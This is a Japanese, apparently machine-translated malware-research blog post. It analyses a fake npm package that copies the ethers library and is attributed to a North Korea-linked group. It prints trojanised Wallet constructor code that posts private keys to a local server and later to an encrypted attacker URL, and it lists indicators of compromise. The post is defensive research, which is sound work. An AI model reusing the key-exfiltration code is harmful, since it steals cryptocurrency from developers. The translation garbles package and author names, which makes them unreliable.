先週、当社の自動マルウェア分析パイプラインが不審なパッケージを検知しました web3ラッパー-イーサリアムこのパッケージは、人気のある エーテル ライブラリを含み、秘密鍵を窃取するために設計された難読化されたコードを保持しています。調査の結果、このパッケージは脅威アクターとして知られる 虚無ドッカビWeb3、ブロックチェーン、暗号通貨技術の開発に携わる開発者から暗号通貨を盗むことで知られるグループ。
パッケージ
パッケージは当初、6月5日午前0時45分(GMT+0)にリリースされました。

このパッケージが欺くために構築されていることを示す明らかな兆候が見られます。パッケージ名は web3ラッパー-イーサリアムリポジトリフィールドは イーザーズ・ジェイエス GitHub上のプロジェクト。実際、攻撃者は単にリポジトリをコピーし、わずかな変更を加えただけだった。彼らは1日で合計5つのバージョンを公開した。
著者
パッケージはリリースされました カウフマン0913、対応するメールアドレスは カウフマン0913@gmail[.]com.

ラプンツェルの非常に低解像度の画像を選んだのは…興味深い選択だ。しかし、今はその点に絡め取られないようにしよう。
このパッケージは何をしますか?
パッケージが何を行おうとしているのかを把握するため、最新バージョンのethersをダウンロードし、それとの差分を確認することで攻撃者が何を行ったのかを調べた。
我々はバージョンを観察した 6.14.3 そして 6.14.4 実際のコードへの変更はなく、単にパッケージ名を変更しただけである。
バージョンで物事が変わり始める 6.14.5そこで、彼らが package.json、さらに node-fetch および対応する @types/node-fetch 開発依存関係その理由はすぐにわかるでしょう。
開発者が変更した主なファイルは、次のファイルです。 src.ts/wallet/wallet.tsまた、これは以下の変更にもつながる。 lib.esm/wallet/wallet.js そして lib.commonjs/wallet/wallet.jsこれらは同じファイルの対応するコンパイル済みバージョンである。
私たちは~において見る 6.14.5 そのクラスのコンストラクタを変更し、以下のすべてを追加した super() 呼び出し::
export class Wallet extends BaseWallet {
/** * Create a new wallet for the private %%key%%, optionally connected * to %%provider%%. */
constructor(key: string | SigningKey, provider?: null | Provider) {
if (typeof(key) === "string" && !key.startsWith("0x")) {
key = "0x" + key;
}
let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
super(signingKey, provider);
// Send private key to server (Node.js and browser)
const url = 'http://localhost:3000/save-key';
if (typeof window === "undefined") {
// Node.js environment: use dynamic import for node-fetch
import('node-fetch').then(module => {
const fetch = module.default;
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
// Browser environment: use native fetch
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
// .then(data => console.log('Server response:', data))
.catch(() => {});
}
}
...
ここで、彼らが秘密鍵を外部に持ち出そうとしている明らかな兆候が見られます。実際、彼らのコメントからは、秘密鍵をサーバーに送信していることが非常に明確です。ただし、送信先はローカルホストのアドレスを指しています。つまり、彼らはこれをリアルタイムで行っているのです。これは有益な情報です。彼らの開発プロセスを垣間見ることができます。
で 6.14.6コードが変更されました。現在のコードは以下のようになります:
// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
import('node-fetch').then(module => {
const fetch = module.default;
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}
では、暗号化されたenc変数の背後には何があるのか? ここにある!
http:/74.119.194[.]244/fetch
何かおかしいところが見えますか?これは無効なHTTP URLです。 / プロトコル内で。おっと!
前回のリリース、 6.14.7この変更は、コード内のコメントとコンソール出力(console.log)を削除するだけで、重大な変更は導入していません。攻撃者は、悪意のある行為であることを認める記述とデバッグログを削除すれば完了だと考えたのでしょう。しかし、URLが依然として無効であるという根本的な問題は解決されていません。
また北朝鮮か?
ほんの数ヶ月前、 北朝鮮のハッカーが仮想通貨ウォレットを盗もうとしているのを発見した彼らはまた、壊れたコードをデバッグしながらリアルタイムでバージョンをリリースしていた。これが再び起きているのを見るのは興味深いことだ。少なくとも今回は、最初にnode-fetchを導入した。壁に頭を打ちつけてなぜ自分のコードが動かないのかを必死に考えようとする代わりに。 アクシオス 電話がつながらなかった。
この場合、もう一つの情報、IPアドレスが得られます。VirusTotalでそのIPアドレスを簡単に調べると、私たちの疑いが確かめられました:

コメント参照:
https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html
そして実際に、TrendMicroのIOCリストではこのIPがエグレスノードとして記載されていることが確認できます: 北朝鮮関連の活動、ロシアのIPアドレス経由のRDPによるそして彼らの広範な報道は、このパッケージで確認できる内容と完全に一致している:Web3/暗号通貨に関わる開発者を標的にし、通貨を盗もうとする動きだ。
妥協の指標
幸いにも、コードが完全に機能していなかったため、このパッケージをダウンロードおよび/または実行しても、実際に被害が生じる可能性はなかったようです。ただし、万が一このパッケージをインストールした場合は、以下のIPアドレスへの通信を監査し、被害がなかったことを確認してください。このIPアドレスへの通信を確認した場合は、暗号鍵が侵害されたものとみなしてください。
パッケージ:
web3ラッパー-イーサリアム
IP:
74.119.194[.]244
Aikido その他の研究はこちらをご覧ください。
今すぐソフトウェアを保護しましょう



.avif)
